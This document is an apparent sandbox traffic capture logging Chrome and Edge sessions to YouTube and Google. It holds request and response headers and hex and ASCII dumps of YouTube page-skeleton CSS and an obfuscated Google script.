2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 65 77 2d 6d 6f 64 65 6c 2d 77 69 7a 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 62 6c 75 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 32 30 25 20 31 35 30 25 3b 66 69 6c 74 65 72 3a 62 6c 75 72 28 32 30 30 70 78 29 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 7d 2e 6d 69 6e 69 2d 61 70 70 2d 73 70 6c 61 73 68 2d 73 63 72 65 65 6e 2d 76 69 65 77 2d 6d 6f 64 65 6c 2d 77 69 7a 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 73 63 72 69 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 36 29 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 Data Ascii: ew-model-wiz__background-blur{background-size:120% 150%;filter:blur(200px);height:100%;width:100%;position:absolute;top:0;right:0;bottom:0;left:0}.mini-app-splash-screen-view-model-wiz__background-scrim{background-color:rgba(0,0,0,0.6);position:absolute;t
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 73 74 65 6e 74 2d 65 72 72 6f 72 2d 63 6f 6e 74 65 6e 74 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 6d 69 6e 69 2d 61 70 70 2d 73 70 6c 61 73 68 2d 73 63 72 65 65 6e 2d 76 69 65 77 2d 6d 6f 64 65 6c 2d 77 69 7a 5f 5f 70 65 72 73 69 73 74 65 6e 74 2d 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c Data Ascii: stent-error-content{color:#fff;text-align:center;flex-direction:column;position:absolute;top:0;right:0;bottom:0;left:0;display:flex;align-items:center;justify-content:center}.mini-app-splash-screen-view-model-wiz__persistent-error-message-title{font-famil
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 70 70 2d 73 63 6f 72 65 2d 62 75 74 74 6f 6e 2d 76 69 65 77 2d 6d 6f 64 65 6c 2d 77 69 7a 2d 2d 69 73 2d 76 69 73 69 62 6c 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 61 6c 6c 7d 2e 79 74 2d 73 70 65 63 2d 62 75 74 74 6f 6e 2d 73 68 61 70 65 2d 6e 65 78 74 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 3a 30 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 52 6f 62 6f 74 6f 22 2c 22 41 72 69 61 6c 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b Data Ascii: pp-score-button-view-model-wiz--is-visible{display:block;align-items:center;pointer-events:all}.yt-spec-button-shape-next{position:relative;margin:0;white-space:nowrap;min-width:0;text-transform:none;font-family:"Roboto","Arial",sans-serif;font-size:14px;
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 79 74 2d 73 70 65 63 2d 62 75 74 74 6f 6e 2d 73 68 61 70 65 2d 6e 65 78 74 2d 2d 73 69 7a 65 2d 78 73 20 2e 79 74 2d 73 70 65 63 2d 62 75 74 74 6f 6e 2d 73 68 61 70 65 2d 6e 65 78 74 5f 5f 69 63 6f 6e 7b 77 69 64 74 68 3a 31 36 70 78 3b 68 65 69 67 68 74 3a 31 36 70 78 7d 2e 79 74 2d 73 70 65 63 2d 62 75 74 74 6f 6e 2d 73 68 61 70 65 2d 6e 65 78 74 2d 2d 73 69 7a 65 2d 78 73 2e 79 74 2d 73 70 65 63 2d 62 75 74 74 6f 6e 2d 73 68 61 70 65 2d 6e 65 78 74 2d 2d 61 6c 69 67 6e 2d 62 79 2d 74 65 78 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 38 70 78 7d 2e 79 74 2d 73 70 65 63 2d 62 75 74 74 6f 6e 2d 73 68 61 70 65 2d 6e 65 78 74 2d 2d 73 69 7a 65 2d 78 73 2e 79 74 2d 73 70 65 63 2d 62 75 74 74 6f 6e 2d Data Ascii: order-style:solid}.yt-spec-button-shape-next--size-xs .yt-spec-button-shape-next__icon{width:16px;height:16px}.yt-spec-button-shape-next--size-xs.yt-spec-button-shape-next--align-by-text{margin-left:-8px}.yt-spec-button-shape-next--size-xs.yt-spec-button-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49791	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:52 UTC	1160	OUT	GET /s/desktop/80338919/cssbin/www-main-desktop-watch-page-skeleton.css HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:52 UTC	680	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 12891 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/css Vary: Accept-Encoding, Origin Age: 28963 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:52 UTC	572	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 62 6c 6f 62 2d 61 2d 78 3a 35 35 25 3b 2d 2d 62 6c 6f 62 2d 61 2d 79 3a 31 35 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 78 3a 31 30 31 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 79 3a 33 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 78 3a 39 34 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 79 3a 31 31 33 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 78 3a 31 30 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 79 3a 37 30 25 3b 2d 2d 62 6c 6f 62 2d 65 2d 78 3a 30 25 3b 2d 2d 62 6c 6f 62 2d 65 2d 79 3a 30 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 61 2d 78 7b 73 79 6e 74 61 78 3a 22 3c 70 65 72 63 65 6e 74 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 61 6c 2d 76 61 6c 75 65 3a 35 35 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 61 2d 79 7b 73 79 6e Data Ascii: :root{--blob-a-x:55%;--blob-a-y:15%;--blob-b-x:101%;--blob-b-y:3%;--blob-c-x:94%;--blob-c-y:113%;--blob-d-x:10%;--blob-d-y:70%;--blob-e-x:0%;--blob-e-y:0%}@property --blob-a-x{syntax:"<percentage>";inherits:false;initial-value:55%}@property --blob-a-y{syn
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 61 6c 2d 76 61 6c 75 65 3a 31 31 33 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 64 2d 78 7b 73 79 6e 74 61 78 3a 22 3c 70 65 72 63 65 6e 74 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 61 6c 2d 76 61 6c 75 65 3a 31 30 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 64 2d 79 7b 73 79 6e 74 61 78 3a 22 3c 70 65 72 63 65 6e 74 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 61 6c 2d 76 61 6c 75 65 3a 37 30 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 65 2d 78 7b 73 79 6e 74 61 78 3a 22 3c 70 65 72 63 65 6e 74 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 Data Ascii: age>";inherits:false;initial-value:113%}@property --blob-d-x{syntax:"<percentage>";inherits:false;initial-value:10%}@property --blob-d-y{syntax:"<percentage>";inherits:false;initial-value:70%}@property --blob-e-x{syntax:"<percentage>";inherits:false;initi
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 72 28 2d 2d 62 6c 6f 62 2d 63 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 63 2d 79 29 2c 72 67 62 61 28 32 30 32 2c 32 32 31 2c 32 35 35 2c 31 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 2c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 64 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 64 2d 79 29 2c 72 67 62 61 28 32 31 32 2c 32 35 35 2c 32 34 38 2c 31 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 2c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 79 29 2c 72 67 62 61 28 32 33 39 2c 32 32 Data Ascii: r(--blob-c-x) var(--blob-c-y),rgba(202,221,255,1),transparent 100%),radial-gradient(ellipse 100% 100% at var(--blob-d-x) var(--blob-d-y),rgba(212,255,248,1),transparent 100%),radial-gradient(ellipse 100% 100% at var(--blob-e-x) var(--blob-e-y),rgba(239,22
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 64 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 64 2d 79 29 2c 72 67 62 61 28 30 2c 30 2c 31 30 32 2c 30 2e 39 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 2c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 79 29 2c 72 67 62 61 28 32 36 2c 30 2c 38 39 2c 31 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 7d 68 74 6d 6c 5b 64 61 72 6b 5d 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 32 5d 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d Data Ascii: radial-gradient(ellipse 100% 100% at var(--blob-d-x) var(--blob-d-y),rgba(0,0,102,0.9),transparent 100%),radial-gradient(ellipse 100% 100% at var(--blob-e-x) var(--blob-e-y),rgba(26,0,89,1),transparent 100%)}html[dark][ghost-cards-diffuse-2] .skeleton-bg-
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 39 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 2c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 79 29 2c 72 67 62 61 28 30 2c 37 32 2c 38 39 2c 31 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 7d 68 74 6d 6c 5b 66 75 6e 2d 63 61 72 64 73 5d 20 79 74 64 2d 74 68 75 6d 62 6e 61 69 6c 2e 79 74 64 2d 72 69 63 68 2d 67 72 69 64 2d 6d 65 64 69 61 3a 62 65 66 6f 72 65 2c 68 74 6d 6c 5b 66 75 6e 2d 63 61 72 64 73 5d 20 79 74 64 2d 70 6c 61 79 6c 69 73 74 2d 74 68 75 6d 62 6e 61 69 6c 2e 79 74 64 2d 72 69 63 68 2d 67 72 69 64 2d 6d 65 64 69 61 3a 62 65 66 6f 72 65 2c 68 74 6d 6c 5b 66 75 6e Data Ascii: 9),transparent 100%),radial-gradient(ellipse 100% 100% at var(--blob-e-x) var(--blob-e-y),rgba(0,72,89,1),transparent 100%)}html[fun-cards] ytd-thumbnail.ytd-rich-grid-media:before,html[fun-cards] ytd-playlist-thumbnail.ytd-rich-grid-media:before,html[fun
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 33 5d 20 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 31 5d 20 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 20 2e 76 69 64 65 6f 2d 64 65 74 61 69 6c 73 20 2e 72 69 63 68 2d 74 68 75 6d 62 6e 61 69 6c 3a 62 65 66 6f 72 65 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 31 5d 20 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 32 5d 20 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 Data Ascii: ,html[ghost-cards-3] #home-page-skeleton .skeleton-bg-color,html[ghost-cards-diffuse-1] #home-page-skeleton .video-details .rich-thumbnail:before,html[ghost-cards-diffuse-1] #home-page-skeleton .skeleton-bg-color,html[ghost-cards-diffuse-2] #home-page-ske
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 72 6b 5d 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 33 5d 5b 61 6e 69 6d 61 74 65 64 2d 63 61 72 64 73 5d 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 7b 61 6e 69 6d 61 74 69 6f 6e 3a 57 61 6c 6b 59 6f 75 72 42 6c 6f 62 73 20 38 73 20 6c 69 6e 65 61 72 20 31 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 33 73 7d 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 31 5d 5b 61 6e 69 6d 61 74 65 64 2d 63 61 72 64 73 5d 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 32 5d 5b 61 6e 69 6d 61 74 65 64 2d 63 61 72 64 73 5d 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 33 5d 5b 61 6e 69 6d 61 74 65 Data Ascii: rk][ghost-cards-diffuse-3][animated-cards] .skeleton-bg-color{animation:WalkYourBlobs 8s linear 10;animation-delay:3s}html[ghost-cards-1][animated-cards] .skeleton-bg-color,html[ghost-cards-2][animated-cards] .skeleton-bg-color,html[ghost-cards-3][animate
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 62 2d 78 3a 39 31 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 79 3a 33 34 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 78 3a 31 30 39 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 79 3a 36 37 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 78 3a 33 30 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 79 3a 38 35 25 7d 38 30 25 7b 2d 2d 62 6c 6f 62 2d 61 2d 78 3a 33 37 25 3b 2d 2d 62 6c 6f 62 2d 61 2d 79 3a 2d 38 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 78 3a 31 30 31 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 79 3a 32 36 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 78 3a 31 31 35 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 79 3a 38 35 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 78 3a 32 37 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 79 3a 37 36 25 7d 39 30 25 7b 2d 2d 62 6c 6f 62 2d 61 2d 78 3a 35 30 25 3b 2d 2d 62 6c 6f 62 2d 61 2d 79 3a 30 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 78 3a 31 Data Ascii: b-x:91%;--blob-b-y:34%;--blob-c-x:109%;--blob-c-y:67%;--blob-d-x:30%;--blob-d-y:85%}80%{--blob-a-x:37%;--blob-a-y:-8%;--blob-b-x:101%;--blob-b-y:26%;--blob-c-x:115%;--blob-c-y:85%;--blob-d-x:27%;--blob-d-y:76%}90%{--blob-a-x:50%;--blob-a-y:0%;--blob-b-x:1
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 72 69 6d 61 72 79 2d 69 6e 66 6f 20 23 74 69 74 6c 65 7b 77 69 64 74 68 3a 34 30 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 77 61 74 63 68 2d 73 6b 65 6c 65 74 6f 6e 20 23 70 72 69 6d 61 72 79 2d 69 6e 66 6f 20 23 69 6e 66 6f 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 2e 77 61 74 63 68 2d 73 6b 65 6c 65 74 6f 6e 20 23 70 72 69 6d 61 72 79 2d 69 6e 66 6f 20 23 69 6e 66 6f 20 23 63 6f 75 6e 74 7b 77 69 64 74 68 3a 32 30 30 70 78 7d 2e 77 61 74 63 68 2d 73 6b 65 6c 65 74 6f 6e 20 23 70 72 69 6d 61 72 79 2d 69 6e 66 6f 20 23 69 6e 66 6f 20 23 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 Data Ascii: rimary-info #title{width:400px;margin-bottom:12px}.watch-skeleton #primary-info #info{display:flex;flex-direction:row;align-items:center}.watch-skeleton #primary-info #info #count{width:200px}.watch-skeleton #primary-info #info #menu{display:flex;flex-dir
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 69 67 68 74 3b 6d 61 78 2d 77 69 64 74 68 3a 34 32 36 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 36 34 30 70 78 29 7d 23 77 61 74 63 68 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 2e 74 68 65 61 74 65 72 20 23 72 65 6c 61 74 65 64 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 61 74 63 68 2d 73 6b 65 6c 65 74 6f 6e 20 23 72 65 6c 61 74 65 64 20 2e 61 75 74 6f 70 6c 61 79 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 36 70 78 7d 2e 77 61 74 63 68 2d 73 6b 65 6c 65 74 6f 6e 20 23 72 65 6c 61 74 65 64 5b 70 6c 61 79 6c 69 73 74 5d 20 2e 61 75 74 6f 70 6c 61 79 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 77 61 74 63 68 2d 73 6b 65 6c 65 74 6f 6e 20 23 72 65 6c 61 74 65 64 20 23 Data Ascii: ight;max-width:426px;width:calc(100% - 640px)}#watch-page-skeleton.theater #related{width:100%}.watch-skeleton #related .autoplay{margin-bottom:16px}.watch-skeleton #related[playlist] .autoplay{border-bottom:none;margin-bottom:0}.watch-skeleton #related #

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49792	142.250.65.196	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:52 UTC	596	OUT	GET /js/th/QaMcj-JulTnv9WX-ZKiswnw1NZ6KstGU-WkCl6294a4.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:52 UTC	812	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 51848 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 16 Jan 2024 12:03:55 GMT Expires: Wed, 15 Jan 2025 12:03:55 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 03 Jan 2024 11:00:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 127857 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:52 UTC	440	IN	Data Raw: 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 64 61 74 61 3a 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3b 62 61 73 65 36 34 2c 65 79 4a 32 5a 58 4a 7a 61 57 39 75 49 6a 6f 67 4d 79 77 69 63 32 39 31 63 6d 4e 6c 63 79 49 36 57 79 49 69 58 53 77 69 63 32 39 31 63 6d 4e 6c 63 30 4e 76 62 6e 52 6c 62 6e 51 69 4f 6c 73 69 49 43 4a 64 4c 43 4a 75 59 57 31 6c 63 79 49 36 57 79 4a 6a 62 47 39 7a 64 58 4a 6c 52 48 6c 75 59 57 31 70 59 30 4a 31 64 48 52 76 62 69 4a 64 4c 43 4a 74 59 58 42 77 61 57 35 6e 63 79 49 36 49 6b 46 42 51 55 45 37 51 55 46 42 51 54 74 42 51 55 46 42 4f 30 46 42 51 55 45 37 51 55 46 42 51 54 74 42 51 55 46 42 4f 30 46 42 51 55 45 69 66 51 3d 3d 0a 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjogMywic291cmNlcyI6WyIiXSwic291cmNlc0NvbnRlbnQiOlsiICJdLCJuYW1lcyI6WyJjbG9zdXJlRHluYW1pY0J1dHRvbiJdLCJtYXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEifQ==(function(
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 75 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 66 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 66 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 66 7d 29 2c 4f 3d 33 31 3b 65 6c 73 65 7b 69 66 28 37 30 3d 3d 4f 29 72 65 74 75 72 6e 20 5a 3b 4f 3d 3d 76 3f 28 57 3d 33 36 2c 4f 3d 45 29 3a 4f 3d 3d 62 3f 28 41 2e 63 6f 6e 73 6f 6c 65 5b 4b 5d 28 42 2e 6d 65 73 73 61 67 65 29 2c 4f 3d 33 31 29 3a 33 34 3d 3d 4f 3f 4f 3d 54 26 26 54 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 3f 32 30 3a 37 30 3a 4f 3d 3d 45 26 26 28 4f 3d 41 2e 63 6f 6e 73 6f 6c 65 3f 62 3a 33 31 29 7d 7d 7d 63 61 74 63 68 28 6e 29 7b 69 66 28 33 36 3d 3d 57 29 74 68 72 6f 77 20 6e 3b 57 3d 3d 72 26 26 28 42 3d 6e 2c 4f 3d 76 29 7d 7d 2c 41 3d 74 68 69 73 7c Data Ascii: .createPolicy(u,{createHTML:f,createScript:f,createScriptURL:f}),O=31;else{if(70==O)return Z;O==v?(W=36,O=E):O==b?(A.console[K](B.message),O=31):34==O?O=T&&T.createPolicy?20:70:O==E&&(O=A.console?b:31)}}}catch(n){if(36==W)throw n;W==r&&(B=n,O=v)}},A=this\|
